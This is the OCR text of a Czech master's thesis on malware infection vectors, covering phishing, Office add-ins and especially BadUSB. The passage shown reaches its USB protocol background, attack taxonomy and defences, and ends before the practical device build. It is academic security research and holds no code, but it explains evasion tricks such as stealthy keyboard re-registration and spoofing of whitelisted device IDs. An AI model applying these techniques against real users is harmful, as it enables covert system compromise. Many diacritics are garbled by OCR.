VSB — Technicks univerzita Ostrava
Fakulta elektrotechniky a informatiky
Katedra informatiky

Analyza vektoru infekce malwaru

Malware Infection Vector Analysis

2020 Be. Matéj Chutny



VSB - Technicka univerzita Ostrava

Fakulta elektrotechniky a informatiky
Katedra informatiky

Zadani diplomové prace

Student: Bc. Matéj Chutny

Studijni program: N2647 Informacni a komunikacni technologie
Studijni obor: 1801T064 Informacni a komunikacni bezpecnost
Téma: Analyza vektort infekce malwaru

Malware Infection Vector Analysis
Jazyk vypracovani: CeStina

Zésady pro vypracovani:

Prace je zaméfena na porovndani riznych vektord infekce operacniho systému Windows. Student provede
reSersi aktudlné pouzivanych technik infekce a inspiruje se pfiklady z historicky tispésnych vzorka
Skodlivého koédu. V praktické casti pak student provede implementaci vybranych vektori infekce. Pro
testovani student pripravi virtudlni prostredi, které bude obsahovat aktudlni verzi operac¢niho systému
Windows. V tomto prostiedi student otestuje jednotlivé vektory infekce. Pro simulaci redlnych podminek
student postupné do virtualniho prostfedi nainstaluje zndmé antivirové nastroje a v praci otestuje reakci na
rizné vektory infekce.

Hlavni body zadani:

1. ReSerSe aktudlniho stavu na poli vektort infekce.
2. Implementace vybranych vektori infekce.

3. Testovani feSeni v pfipraveném prostiedi.

4. Vyhodnoceni experimentu a prezentace vysledkd.

Seznam doporucené odborné literatury:

[1] Merhaut F., Zelinka 1., Uvod do pocitacové bezpecnosti, Fakulta aplikované informatiky, UTB ve Zliné,
Zlin, 2009
[2] Szor P., Pocitacové viry - analyza utoku a obrana, Zoner Press, 2006, ISBN: 80-86815-04-8



Formalni néleZitosti a rozsah diplomové prace stanovi pokyny pro vypracovéni zvefejnéné na webovych
strankdch fakulty.

Vedouci diplomové price: Ing. Jan Plucar, Ph.D.

Datum zadani: 01.09.2019
Datum odevzdéani: 30.04.2020

déc. Ing. Jan Platos, Ph.D. prof. Ing. P/vel Brandstetter, CSc.
vedouct katedry dékan fakulty

\




Prohlasuji, Ze jsem tuto diplomovou praci vypracoval samostatné. Uvedl| jsem viechny literarni
prameny a publikace, ze kterych jsem Cerpal.

A 7 [,
e N A /]
V Ostravé 13. dubna 202f L5 LV\/TVL



Souhlasim se zvefejnénim této diplomové prace dle pozadavkd ¢l. 26, odst. 9 Studijniho a zkusebniho
fadu pro studium v magisterskych programech VSB-TU Ostrava.

Vv Va 1«7
V Ostraveé 13. dubna 2020 { l -\ /



R4d bych na tomto misté podékoval své rodiné, ktera meé béhem studia podporovala. Dale dékuji
mému vedoucimu diplomové prace Ing. Janu Plucarovi, Ph.D. za jeho ochotnou pomoc, rady
a pripominky, které mi poskytnul v prubéhu vypracovavani této prace. Podékovani také patii

mym spoluzakim za poskytnuti podpory.



Abstrakt

Prace je zamérena na porovnani riznych vektort infekce operac¢niho systému skodlivym kédem.
Podrobnéji se zabyva tfemi vektory infekce - BadUSB, dopliky pro Microsoft Office Word
a metodami phishingu. V rdmci prace byly tyto vektory popsany a jejich funkcionalita byla
demonstrovana na piikladech. Nasledné byly popsany vyhody a nevyhody zminénych vektort
infekce. V préci se nachéazeji obecna doporuceni, pomoci kterych je mozné snizit riziko ttoki
zneuzivajicich béznych vektora infekce. V praktické ¢asti prace byly vytvoreny funkéni ukazky

prezentujici vybrané vektory infekce v praxi.

Klicova slova: malwarova infekce, skodlivy, BadUSB, Microsoft Office doplnky, VSTO, Office
JavaScript API, phishing

Abstract

The work is aimed at comparison of various operating system infection vectors using malicious
code. It deals with three infection vectors in detail - BadUSB, Microsoft Office Word add-ins
and phishing methods. These vectors were described in scope of the work and their functionality
was demonstrated on examples. Furthermore, advantages and disadvantages were described of
mentioned infection vectors. There are general recommendations, which may reduce the risk of
attack using common infection vectors. Working samples presenting selected infection vectors

in practice were created in practical scope of the work.

Keywords: malware infection, malicious, BadUSB, Microsoft Office add-ins, VSTO, Office
JavaScript API, phishing
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1 Uvod

Ochrana citlivych informaci a dat ulozenych v pocitacich ¢i na serveru se stala svétovym pro-
blémem. Utoénici si uvédomuji cenu informaci a snazi se je ziskat ¢ poskodit. Aby se k citlivym
informacim dostali vyuzivaji rizné druhy infekci cilového systému. Nejrozsitenéjsimi druhy jsou
infekce pomoci skripti a maker, hardwarové infekce nebo zneuziti programatorské chyby (ex-
ploit).

Pro tyto druhy infekce je diilezité §iFit se mezi potencionalnimi ob&tmi. Utoénici vyuzivaji
phishingovych metod, které se v pribéhu nékolika let zdokonalily. Soucasné se phishing zneuziva
k ziskani dulezitych udaji, které itocnici vyuziji k infekci systému. Phishing se stal nedilnou
soucasti tspésné infekce cilového systému.

V prvni &sti diplomové prace se vénuji tvorbé BadUSB zafizeni. Uvodni podkapitoly se za-
byvaji popisem USB protokolu, obranou a rozdélenim BadUSB tutoki do kategorii. V Praktické
¢asti popisuji tvorbu vlastniho BadUSB zafizeni. S vytvorenym zafizenim infikuji operacni sys-
témy Windows 7 a Windows 10 nebot se jedna o nejrozsifenéjsi operacni systémy roku 2019. [1]
V posledni podkapitole prvni ¢asti diplomové prace shrnuji vysledky praktické ¢asti a posuzuji,
zda BadUSB zatizeni je redlnou hrozbou.

V dalsi ¢asti diplomové prace vytvarim doplnék (add-in) do Microsoft Office baliku, pomoci
Visual Studio néstroji pro Office (VSTO). Nasleduje experiment, zda do dopliiku lze vlozit
skodlivou ¢ast kédu a tim infikovat cileny systém. Doplnék byl navrzen tak aby byl pro uzivatele
pfinosny a tim si zajistil perzistenci v opera¢nim systému.

V zavérecné ¢asti prace se budu vénuji metodam phishingu. Objasnim, jak phishing probiha

a tento prubéh budu simuloval v prilozenych video ukazkach.
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2 State of the Art

Phishing se stal ¢astou metodou, kterou ttocnici vyuzivaji k dosazeni svych cili. Jedné se o
pripravnou fazi utoku, ve které dochézi napriklad k sbéru informaci ¢i vytvoreni vstupniho bodu
do operac¢niho systému.

Bézny phishingovy utok je realizovan skrz internacionalizované doménové jméno (IDN).
Utoénik podvrhne cilovou webovou stranku tak, Ze pozméni znaky v jednotné adrese zdroje
(URL) za velmi podobné. K podvrzeni latinky se pouziva sada se znaky cyrilice, kvili podobnosti
radé znaki. Aby bylo mozné pouzit Unicode znaky, musi to mit prislusnd doména povolené, coz
doména com, na rozdil od domény cz, ma. Upravené URL presméruje obét jiz na podvrzenou
webovou stranku, ze které utocnik muze ziskat citlivé informace. [2]

Utoc¢nici ¢asto registruji jména zndmych domén, které jsou chybné napsans. Takovych to
chybneé formulovanych domén existuji statisice (dle [3] je to 485 642). Pti testovani téchto domén
bylo zjisténo, ze velmi ¢asto obsahuji vystrazné informacéni okno (alert box), presnéji 9 857 alert
boxll a z toho 8 823 jich bylo skodlivych. Tyto skodlivé alert boxy se snazi z uzivatel ziskat
dodate¢né informace ¢i je donutit ke stazeni skodlivého programového vybaveni (software). [3]

Nejucinnéjsim druhem phishingu je takzvany spear phishing zamérujici se na konkrétniho
jedince ¢i organizaci. Tento druh phishingu se nejcastéji siti pomoci emailové komunikace. Utod-
nici jsou schopni podvrhnou emailovou adresu odesilatele, tim padem email pro obét pisobi
divéryhodné. Emailové portaly obsahuji filtrovaci algoritmy jako jsou PHILFER nebo FSSPD
snazici se podvodné emaily blokovat, ale existuji zpiisoby, jak tyto algoritmy obejit. Proto zacali
vznikat nové filtrovaci algoritmy, které PHILFER rozsifuji o genderové a osobnostni rysy. Nové
rozsifeni algoritmu zlepsuje vykonnost piuvodniho PHILFER algoritmu o 10 %. [4]

Castym zdrojem infekce jsou textové dokumenty, které se velmi jednoduse $fif pomoci
phishingovych emailu. Nejrozsitenéjsim textovym procesorem jsou néstroje balicku Microsoft
Office, jenz se staly teré¢em makro ttoku. [5, 6] Spoleénost Microsoft se snazi své uzivatele
proti témto ttokim chranit za pomoci antivirového skenovaciho rozhrani (AMSI) umoznujici
aplikacim odesilat obsah pfimo do antivirového feseni. [7] Spoleénost Microsoft rozhodla obo-
hatit AMSI o cloudové Feseni, a to pokrocilou ochranou pred hrozbami (ATP), které se stard o
internetové zabezpeceni opera¢niho systému. [8] Existuje i fada ttoku na prenosny formét doku-
menti (PDF), ale tyto atoky existuji v malé mife, jelikoz utoky vyuzivaji chyby v implementaci
programu, které je obtizné nalézt. [9]

Mezi nejrozsitenéjsi hardwarové ttoky se fadi itok BadUSB. Jednd se o ttok, ve kterém
ato¢nik definuje, pod jakou pocitacovou periferii se ma vstupni univerzalni sériova sbérnice
(USB) prihlasit do opera¢niho systému. BadUSB se muze prihlasit jako klavesnice a spustit
sérii skriptu, které provedou infekci. Rovnéz je BadUSB schopno se prihlasit jako sifova karta
a vytvorit serverovy systém doménovych jmen (DNS) podtrhujici obéti webové stranky. [10]
BadUSB muze byt soucédsti nékteré z periferii (klavesnice, mysi) a tim snizit své Sance na
odhaleni. [11]

Podle projektu pro zabezpeceni webovych aplikaci (OWASP) je nejcastéjsim druhem ttoku

injekce strukturovaného dotazovaciho jazyka (SQL injection). [12] Za narust SQL injection muze
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rozsiteni cloudovych feSeni, presnéji sluzby infrastruktura jako sluzba (IaaS) nenabizejic ochranu
na ¢tvrté vrstvé modelu primarniho prenosového protokolu/protokolu sitové vrstvy (TCP/IP).
[13]

Dalsi utok zarazen skupinou OWASP do deseti nejcastéjsi utoku je infekce XML externich
entit (XXE). [12] Tento ttok vyuziva Spatné nastavené syntaktické analyzy (parsing) rozsititel-
ného znackovaciho jazyka (XML). Z 13 nejpouzivanéjsich XML parsertui dostupnych na GitHubu
bylo zjisténo, ze 7 jich je nachylnych na XXE tutok a 8 na XML ttok BIL (miliarda tsmévi),
jenz dokéze danou webovou sluzbu zneptistupnit, kvuli vyéerpani hardwarovych zdroju. [14]

Také skriptovaci atok napric siti (XSS) byl spoleénosti OWASP umistén mezi deset nejcas-
téjsich utoku. [12] Existuji tii zdkladni druhy XSS ttoku, a to perzistentni, neperzistentni a
lokalni XSS. [15] Nejnebezpetnéjsim utokem je perzistentni XSS ttok, nebot vklada skodlivy
skript do databaze webové aplikace, ve které setrvava. Muze postihnout i navstévnika obezna-
meného s XSS ttokem. Castym cilem tohoto druhu ttoku jsou diskusni féra, internetové blogy
a dalsi webové stranky obsahujici neosetrené uzivatelské vstupy. Naproti tomu je neperzistentni
ttok nejéastéjsim a soucasné nejjednodussi formou XSS ttoku. Utoénik opét zneuziva neoSet-
fené vstupy aplikace, do kterych vlozi skodlivy skript. Pokud se jeho skript provede a z URL
vyplyva, ze parametry byly pfeddny protokolem pro hypertextovy pienos (HTTP) metodou
phishingovych metod. [16] Posledni forma XSS ttoku je lokalni XSS tutok. Tento utok vklada
skodlivy skript primo do adresy URL, nejcastéji za tzv. kotvy (#), jejichz obsah se neposila
na server. Nedochdzi tedy ke generovan{ ttoénikova skriptu na strané serveru. Utok se vyhne
obrannym metodam na strané serveru. URL s vloZzenym skriptem je stejné jako u neperzistentni
formy XSS utoku nutné sifit pomoci phishingovych metod. [17]

Odbornych publikaci zaméiujicich se na téma infekce neni mnoho. Vétsina se zabyva vyvojem
aplikace ¢i nastroje slouzici jako prevence proti infekci, pficemz v obsahu ¢lankt neni zminka o
tom jak dany ttok probiha. Jen velmi méalo praci popisuje priibéh hardwarové infekce.

Nejvétsi mnozstvi publikaci se tykalo obrany proti infekci skrze JavaScript s pouzitim
phishingovych metod. Vétsina praci vSak obsahovala pouze teoreticky popis aplikace, ktera by
dokazala v redlném case zablokovat nebezpecné webové stranky. Nenalezl jsem zadny prakticky
piipad JavaScripové infekce s pouzitim phishingovych metod. [18, 19]

Pro 1utok skrze doplinky baliku Microsoft Office jsem nenasel zddnou odbornou publikaci.
Utok skrze dopliiky neni novinkou, existuje fada ttokt zneuzivajici dopliiky (extensions) pro
internetové prohlizece. [20] Vyhodou Microsoft Office dopliiku je neexistujici povédomi uzivateli

o mozné infekci prostiednictvi téchto dopliku, na rozdil od doplitkti pro internetové prohlizece.
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3 Rozdéleni diplomové prace

Diplomova prace bude rozdélena do t¥i hlavnich kapitol. BadUSB, infekce skrze Microsoft Office
dopliky a phishingové ttoky prostrednictvim webové stranky.

Kazda hlavni kapitola je rozdélena na teoretickou a praktickou ¢ast. V teoretickd casti se
vénuji popisu znalosti potiebnych pro provedeni infekce. Prakticka ¢ast obsahuje implementaci
a popis postupu k vytvoreni dané infekce. Soucasti prace je video ukazka vsSech praktickych
experimentu infekce uzivatelského prostredi.

Prvni kapitolou se zabyvé infekei skrze BadUSB zafizeni (viz kapitola 4). V kapitole se
pokusim zjistit, jaké jsou potfebné znalosti k vytvoreni BadUSB zarizeni a zhodnotim, zda toto
zalizeni muze vytvorit i utoc¢nik bez vétsich technickych znalosti.

Druh4 kapitola popisuje infekce pomoci Microsoft Office doplnku (viz kapitola 5). V kapitole
vytvorim Microsoft Office doplnék s cilem infikovat pocitac uzivatele.

Posledni kapitolou jsou phishingové ttoky prostiednictvim webové stranky (viz kapitola
6). Cilem kapitoly je upresnéni informaci o prubéhu tutoku. Kapitola mé predevsim doplnit
informace o prubéhu phishingu, jelikoz fada odbornych i neodbornych praci tykajici se phishingu

tyto informace nepopisuje.
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4 BadUSB

BadUSB je jeden z nejnebezpecnéjsich hardwarovych ttokt vyuzivajici zranitelnosti v USB
protokolu (viz kapitola 4.3). Tento tok byl oficidlné predstaven na konferenci BlackHat v roce
2014 skupinou Security Research Labs. Skupina ve své prednasce nesouci jméno ,BadUSB — On
Accessories that Turn Evil" predstavila, jak se da prepsat firmware béznych USB flash diskd.
Rovnéz demonstrovali zptisob detekovani operac¢niho systému k poslani spravného payloadu.
21]

Po predstaveni BadUSB na vysSe uvedené konferenci zacala vznikat celd fada novych typt
utoku (viz kapitola 4.3). Zna¢né mnozstvi téchto novych titokt kombinovala BadUSB s phishin-
govymi metodami. Piikladem muze byt experiment, ktery probéhl na Univerzité v Illinois. V
aredlu univerzity bylo rozmisténo 300 USB flash diskl s modifikovanym firmwarem. Témér

polovina (48%) téchto USB disku byla zapojena do koncovych zafizeni. [22]

4.1 USB

Univerzalni sériova sbérnice (USB) je standard definujici kabely, konektory a komunikaéni pro-
tokoly pro pripojeni, komunikaci a napajeni mezi poc¢itaci a zarizenimi. [23] Prvni USB specifi-
kace byla predstavena v roce 1996 na jejimz vyvoji spolupracovala fada vyznamnych svétovych
spole¢nosti jako jsou Microsoft, Intel, IBM, Compaq, Hewlett-Packard, Lucent, NEC a Philips.
Prvni specifikace nebyla zcela jednotnd, proto se stavalo, ze néktera zarizeni spolu nekomuniko-
vala. O dva roky pozdéji, tedy v roce 1998, byla vytvofena nova specifikace, a to USB 1.1. Tato
verze odstranila nejednotnost, avsak dosahovala pouze pfenosové rychlosti 12 Mb/s. Prenosova
rychlost 12 Mb/s nebyla dostacujici a v roce 2000 vznika revize USB 2.0, jejiz maximalni pte-
nosova rychlost je 480 Mb/s. Od roku 2010 se masové zacala $ifit tfeti generace USB (USB 3.0)
dosahujici desetindsobné rychlosti prenosu dat oproti predchozi generaci. Béhem dalsich deviti
let vznikd rada verzi USB 3.X vylepsujici predevsim rychlost prenosu a s tim spojenou tvorbu
novych konektoru. [24, 25] V roce 2019 je predstavena novéa generace USB 4.0 s rychlosti az 40
Gb/s, kterd je postavena na Thunderbolt 3 rozhrani. [26]

Dtivodem vyvoje USB protokolu byla potfeba vytvorit univerzalni a dostate¢né rychlé roz-
hran{ pro vicendsobné pfipojeni riznych perifernich zatfizeni. Dalsimi pozadavky na vznikajici
rozhrani byla moznost pripojeni vice zafizeni soucasné. Moznost pripojovat zarizeni za béhu

poéitade bez nutnosti restartovani jako tomu bylo napiiklad u starého konektorti PS/2!.

4.2 Protokol USB

V kapitole popisu zdkladni funk¢nost komplexniho USB protokolu, jehoz znalost je nutna pro
provedeni tspésné infekce skrze BadUSB. Zamérné se nebudu vénovat tomuto protokolu de-
tailné, protoze podrobny popis jednotlivych bitt paketu, optimalizace deskriptoru podle rych-
losti komunikace ¢i fyzicka topologie USB zatizeni neni pro tuto praci nezbytné. V jednotlivych

podkapitolach objasnim dulezité vlastnosti USB zarizeni. Obsahem posledni podkapitoly bude

!Osobni systém/2 je Sestipinovy konektor slouZici pro propojeni poéitacové periferie s cilovym poditacem.
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diagram komunikace mezi USB zafizenim a hostujicim zafizenim, pficemz v této komunikaci

dochéazi k chybam, které vyuzivaji itoc¢nici k vytvoreni BadUSB zarizeni.

4.2.1 Detekce zarizeni

Po pripojeni USB zarizeni do portu dochazi k zasilani registracni zpravy do USB hostitele (USB
host). Registra¢ni zprava obsahuje pozadavek k zapnuti prislusného portu. Nové pripojené USB
zarizeni si nastavi doCasnou adresu 0 a ¢ekd na hostitele, ktery mu pridéli volnou adresu (viz
kapitola 4.2.2).

Pro prvotni konfigura¢ni komunikaci ma kazdé USB zarizeni implementovano takzvany kon-
covy bod nula (endpoint zero). Ve skutecnosti se jedna o dva koncové body, kdy jeden slouzi pro
prenos z USB hostitele k USB zarizeni (EPO OUT) a druhy od USB zafizeni k USB hostiteli
(EPO IN). V této komunikaci se vyuziva ridici prenos (viz kapitola 4.2.3). [27]

Sbérnice
USB Hostitel e R L e '

asn aoxqung

...........................................................................

Adresa=3 [

m

X

‘E 5
asn aoxung

____________________________________________________________________________

Obréazek 1: Komunikace mezi koncovym bodem a USB hostitelem

4.2.2 USB topologie

USB vyuziva vrstvenou hvézdicovou topologii (tiered star topology). Centrem kazdé hvézdice
topologie je USB rozboc¢ova¢ (USB hub). Maximélni pocet vrstev je 7. Vyjimku tvori USB 1.1,
ktera méla pouze pét vrstev. Vzdy prvni troven vrstvy patti rozbocovaci v hostitelském systému
(USB host), tedy USB hostitel se muze v topologii vyskytovat pouze jeden a je vzdy na nejvyssi

urovni v topologii (Obrézek 2).
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Obrazek 2: Topologie USB, prevzato z prezentace Universal Serial Bus
[27]

Na obrazku 2 Ize vidét tTi komponenty: USB hostitele, rozbocovac a zafizeni.
e USB hostitel se stard o veskerou komunikaci se zafizenimi.
e Rozbocovaé je specidlnim druhem USB zafizeni vytvéarejici nové porty (vstupni body).

e Zafizenim je mysleno koncové USB zafizeni. Nékdy muize toto koncové USB zafizeni obsa-

hovat integrovany USB hub. Tomuto zarizeni se fika slozené zafizeni (compound device).

Ke kazdému zarizeni je pristupovano pomoci adresy, ktera je prifazena po jeho pripojeni k
rozbocovaci. Maximalni pocet adres je 127, jelikoz kazdé USB zafizeni musi mit v topologii

danou unikatni adresu, kterd je 7 bitova. Adresa 0 je doc¢asna adresa pro nové USB zafizeni.

4.2.3 Typy datovych prenosa

Datovy pfenos umoznuje vyménu dat mezi USB hostitelem a koncovym USB zafizenim pomoci
rour (pipes), které jsou zakoncené koncovym bodem na strané USB zafizeni a vyrovnavaci
paméti na strané hostitele. Roury mohou byt jednosmérné i obousmérné. Pro obousmérnou
komunikaci se musi pouzit pravé dvé roury. Na USB sbérnici je mozné vyuzit ¢tyfi typy prenosu
dat. [27]

1. Ridici pfenosy (Control transfer) — jsou pouzity ke konfiguraci nové piipojenych USB

zatizeni. Pfenos je bezztratovy.
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2. Hromadné ptenosy (Bulk trasnfer) — prenos se vyuziva v pripadé, ze potfebujeme prenést
vétsi mnozstvi dat. Spolehlivost prenosu je obstarana na hardwarové trovni s pouzitim
algoritmti na detekci chyb. USB zafizenim vyuzivajici tento prenos muze byt naptiklad

tiskarna nebo flash disky.

3. Prerusovany ptenos (Interrupt transfer) — je predevsim urcen pro prenos kratkych rychlych
zprav s omezenymi odezvami. Prikladem USB zarazenimi pouzivajici zminény prenos je

klavesnice ¢i mys.

4. Izochronni ptrenosy (Isochronous transfer) — se vyuzivaji predevsim pro prenos velkého
objemu dat, u kterého zalezi na rychlosti prenosu, ale neni zaruc¢eno doruceni vsech dat.

Tohoto pfenosu vyuzivame u medidlnich zafizeni (pfenos zvuku a obrazu). [28, 29]

4.2.4 Deskriptory

Deskriptory jsou datové typy popisujici jednotlivé vlastnosti USB zafizeni. Tyto informace vy-
zaduje host kratce po detekovani USB zarizeni, proto je deskriptor zaslan prostrednictvi ridicich

pfenosi. [30] Slozeni deskriptoru lze vidét na Obrézku 3.

Deskriptor

zarizeni

Konfiguraéni | | Konfiguraéni

deskriptor [ ”| deskriptor

Deskriptor

rozhrani

Deskriptor

rozhrani

Deskriptor

rozhrani

Deskriptor

rozhrani

Deskriptor Deskriptor Deskriptor Deskriptor Deskriptor Deskriptor Deskriptor Deskriptor
koncového koncového koncového koncového koncového koncového koncového koncového
bodu bodu bodu bodu bodu bodu bodu bodu

Obrazek 3: Struktura deskriptort

Deskriptor zarizeni obsahuje nejdilezitéjsi informace o USB zarizeni. Ve struktufe infor-
maci Ize nalézt napriklad identifikator vyrobce, identifikator produktu, ¢i pocet konfigurac¢nich
deskriptoru.

USB zarizeni mize mit vice konfigura¢nich deskriptoru nesouci informace o druhu napéajeni
a odbéru proudu. Pokud USB zafizeni zahrnuje vice deskriptorti, vybere si hostitel ten, ktery
mu nejvice vyhovuje.

Deskriptor rozhrani sluc¢uje rizné funkce zatrizeni. Napriklad se mize jednat o USB zafizeni
obsahujici fax a tiskdrnu. Takové USB zafizeni bude mit dvé odlisna rozhrani, ptficemz kazdé
rozhrani si urcuje potfebny pocet koncovych bodi.

Deskriptor koncového bodu udévé, o jaky datovy prenos se jednéd (hromadny, prerusovaci ¢i

izochronni prenos) a smér prenosu.
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4.2.5 Diagram komunikace

V kapitole shrnuji pritbéh sestaveni komunikace mezi USB hostitelem a USB zafizenim. Pro

spravné pochopeni diagramu na Obrazku 4 je nutné precist predchozi kapitoly.

Registrace

>
Nastaveni adresy
C <
D) I I
Nt Deskriptor
2, g —\
§ < Nastaveni konfigurace USB Hostitel
Komunikace
< >

Obrazek 4: Navazani komunikace mezi USB zafrizenim a USB hostem

Na Obrazku 4 je vidét, ze komunikaci zahajuje USB zafizeni, to zasild registracni zpravu
pozadujici zapnuti prislusného portu. Néasledné USB hostitel nastavi nové pripojenému USB
zalizeni novou volnou adresu a pozada toto USB zarizeni o deskriptor. Jakmile hostitel obdrzi
deskriptor, zjisti jaké funkce dané USB zarizeni poskytuje a nainstaluje potfebné ovladace. Po
instalaci je zaslana zprava informujici USB zafizeni o Gspésném nainstalovani ovladacu a jejich
nastaveni pro udrzeni stabilniho prenosu. Hostitel je poté schopen komunikovat s USB zafize-
nim, vyuzivajici néktery z typu datovych prenosu (viz kapitola 4.2.3), ktery byl v deskriptoru

vyzadan.

4.3 Typy utoku

BadUSB ttoky lze rozdélit do t¥i kategorii podle zptisobu provedeni infekce cilového zafizeni
(viz Obrazek 5). V kapitole vysvétlim zpusoby infekce a uvedu piiklady pro kazdou BadUSB
kategorii. [31]

23



BadUuSB

Elektrické
utoky

Programovatelné

mikrokontrolery Vyuziti USB periferii

. P Bez
Pfeprogramovani . .
firmwaru preprogramovani
firmwaru

Obréazek 5: Typy BadUSB tutoki

4.3.1 Programovatelné mikrokontrolery

Utoénik sém vytvori firmware zaf{zeni a nastavuje deskriptory umoziujici mikrokontroleru p¥i-
hlaseni do operac¢niho systému jako konkrétni USB periferie.

K infekci mtze dojit pfimo po pripojeni do operacniho systému. Piikladem muze byt Ba-
dUSB, které se prihlasi jako klavesnice a spusti sérii prikazi, které uskutecni infekci.

Dalsim zptsobem, jak mtize dojit k infekci je skrz opétovnou registraci USB zafizeni do ope-
ra¢niho systému. Jakmile uzivatel zapoji BadUSB do cilového zatizeni, dojde k jeho registraci
do opera¢niho systému (viz kapitola 4.2.5) a nésledné s uzivatelem klasickym zptsobem intera-
guje, avsak firmware obsahuje podminku c¢ekajici na své vykonani. Podminkou muze byt ¢asovy
odpocet nebo necinnost uzivatele. Kéd v podmince znovu zaregistruje zatizeni do operac¢niho
systému, tentokrat jako napriklad klavesnici, kterd provede infekci. Po dokonceni infekce se
zalizeni opét zaregistruje zpét jako ptvodni USB zarizeni. Cely tento proces se provede velmi
rychle, tudiz uzivatel si vypadku zafizeni nemusi vibec vSimnout nebo vypadku nevénuje po-
zornost. Vyhodou tohoto postupu je mensi sance na odhaleni BadUSB, tedy moznost dalsiho
sireni ¢i zajisténi perzistence. Nevyhodou je slozitéjsi implementace firmwaru.

Mezi priklady dtoku, které spadaji do kategorie patii.
e Evilduino — BadUSB je vytvoreno z Arduino zafizeni.

e Rubber Ducky/Bash Bunny — zarizeni, které vzhledem vypada jako flash disk, ale obsahuje
preprogramovatelny mikrokontroler. K programovani vyuziva svij programovaci jazyk

Ducky Script.

e TURNIPSCHOOL — mikrokontroler skryty v USB kabelu.
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4.3.2 Vyuziti USB periferii

o7 e

rozdéluje do dvou éasti (viz Obrézek 5).

1. Pfeprogramovani firmwaru

V této podkategorii dochazi k preprogramovani firmwaru v USB zafizenich. Samotné
preprogramovani firmwaru je velmi slozité a funguje pouze na konkrétnim USB zafizeni.

Princip infekce je stejny jako u predchozi kategorie (viz kapitola 4.3.1).

Druhy utoku jsou:

e Sitova karta (Network device) — BadUSB se chova jako DNS server.

e Emulace klavesnice (Keyboard emulation) — BadUSB se prihldsi do systému jako

klavesnice.

2. Bez preprogramovani firmwaru

K uskutec¢néni infekce neni pouzit firmware, jako tomu bylo u predchozich kategorii, ale

vyuziva se ulozisté v samotném USB zarizeni.

K infekci dochazi prostirednictvim skrytého skodlivého kédu maskujici se v ulozisti Ba-
dUSB zarizeni. Tento skodlivy kod se vétSinou neaktivuje sam, ale je aktivovan uzivatelem

v domnéni, ze se jedna o legitimni obsah USB zarizeni.

Nejznaméjsi prikladem utoku spadajici do této podkategorie je USB zlodéj (USB Thief).
Tento tok nejcastéji vyuziva USB flash disk zafizeni obsahujici pfenosné (portable) apli-
kace (Firefox, Notepad4+). Skodlivy kéd je Sifrovan pomoci AES-128, pficemz kli¢ je
tvofen informacemi piredévajici se v deskriptoru USB zafizeni. Zasifrovany kod je vlozen
do dynamické knihovny (dll) dané aplikace. Jakmile uzivatel tuto aplikaci spusti, dojde k
infekci zafizeni a k ulozeni odcizenych dat uzivatele do BadUSB zarizeni. V pocitaci obéti
neztistavaji zddné dikazy o provedeni skodlivého kédu. Nevyhodou USB Thief ttoku je
nutnost zpétného ziskani BadUSB zarizeni, na kterém jsou uloZena zcizend data. USB
Thief se zpravidla pouziva k odcizeni dat z izolovanych systému respektive z cilového

pocitace, jenz neni pripojeny k internetu.

USBee titok — generuje specialni radiofrekvencni vyslani prenasejici data. Prenosova rych-
lost se pohybuje kolem 80 B/s na maximélni vzdalenost 10 m. Tento ttok se vyuzivd

predevsim k vyndaseni informaci z izolovanych systémi.

4.3.3 Elektricky utok

Jednd se o BadUSB zarizeni, jehoz cilem je zni¢eni hardwaru uzivatele. Nepfendasi tedy zadny
payload.

Hlavnim zastupcem je USB Killer, jedna se o USB zafizeni obsahujici silny kondenzator.
Tento kondenzator se po pripojeni do cilového zarizeni nabije a naslednym vybojem znici elek-

tronické zafizeni (zni¢eni USB portu nebo komponentt zékladni desky).
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4.4 Metody obrany

Nejuc¢innéjsi obranou proti BadUSB zafizeni je deaktivace USB portu v zdkladnim vstupu/-
vystupu systému (BIOS) ¢i fyzickd blokace porti. Jednd se ovSem o nekompromisni Feseni,
jelikoz uzivatel poté nemuze vyuzit zadné USB zarizeni. Neprakti¢nost reseni spoc¢iva hlavné v
nemoznosti pripojeni nutnych periferii (klavesnice, mys) k stolnimu poéitaci. Uzivatelé stolnich
pocitac¢i by museli vyuzit starého rozhrani PS/2. Rozhrani uz vyrobci bézné nezakompono-
vavaji do zakladni desky (motherboard) nebo pfidavaji pouze jedno PS/2 rozhrani. Resenim
nedostatku PS/2 portu je pripojeni PS/2 karty do slotu pro propojeni perifernich zafizeni
(PCI) na zakladni desce. Pro bézného uzivatele byva toto feseni komplikované, a proto radéji
zvoll moznost zachovani USB portt.

Efektivnim zptusobem obrany je povolovani (whitelisting) ndm zndmym USB zafizenim.
Vsechny ostatni USB zafizeni jsou zakazany. V opera¢nim systému Windows lze pouzit editor
mistnich zdsad skupiny (group policy) nebo je mozné vyuzit nainstalované antivirové feseni ob-
sahujici obdobnou funkci (ESET, Kaspersky, Bitdefender). Obrana pomoci whitelistingu neni
ucinna proti cilenému ttoku. Whitelistovana zafizeni jsou rozpoznavana podle PID (produkt
identifikdtor), sériového ¢isla a VID (identifikdtor prodejce). Pokud utocnik bude znat tyto tii
parametry whitelistovaného zafizeni, muze vytvorit BadUSB zafizeni s odpovidajicimi parame-
try (tyto parametry lze nastavit v deskriptoru). [32]

Nejcastéjsi zpusobem implementace infekce skrze BadUSB zafizeni je moznost registrovat
do opera¢niho systému uzivatele podvodné zarizeni jako klavesnici (viz kapitola 4.3). Obranou
cilového zafizeni muze byt zapnuti kontroly, zda pripojené USB zarizeni je opravu klavesnici. O
kontrolu se stara napiiklad program USB Keyboard Guard detekujici snahu o pfipojeni nové
klavesnice. Keyboard Guard vyzve uzivatele, aby zadost ovéril opsanim ndhodného ctytcifer-
ného koédu. K opsani kédu je nutné mit pripojenou mys ¢i jinou klavesnici. Pokud je kéd zadan
spravné, je kldvesnice do operacniho systému registrovani. V opacném pripadé anebo pri ne-
¢innosti uzivatele je zaddost o registraci kldvesnice zamitnuta. Pokud se ale BadUSB pokusi do
operacniho systému registrovat jako napiiklad sitova karta (viz kapitola 4.3.2) nebo bude obsa-
hovat infekéni soubor v dlozisti USB zafizeni (viz kapitola 4.3.2) program USB keyboard Guard
tuto hrozbu nedetekuje. [32, 33|

4.5 Tvorba BadUSB

V praktické ¢asti se pokusim vytvorit BadUSB zarizeni spadajici do kategorie programovatelny
mikrokontrolert (viz predchozi kapitola 4.3). K tomuto utoku vyuziji zafizeni Teensy, a to kon-
krétné nejvykonnéjsi verzi Teensy 3.2 (Zari 2019) a nejméné vykonnou verzi Teensy 2 (Zari
2019). Cilem praktické c¢asti je zjistit slozitost tvorby BadUSB z mikrokontroleru a porovnat
mezi sebou jednotlivé verze Teensy zarizeni. Rovnéz otestuji obé Teensy zafizeni na nejpouzi-

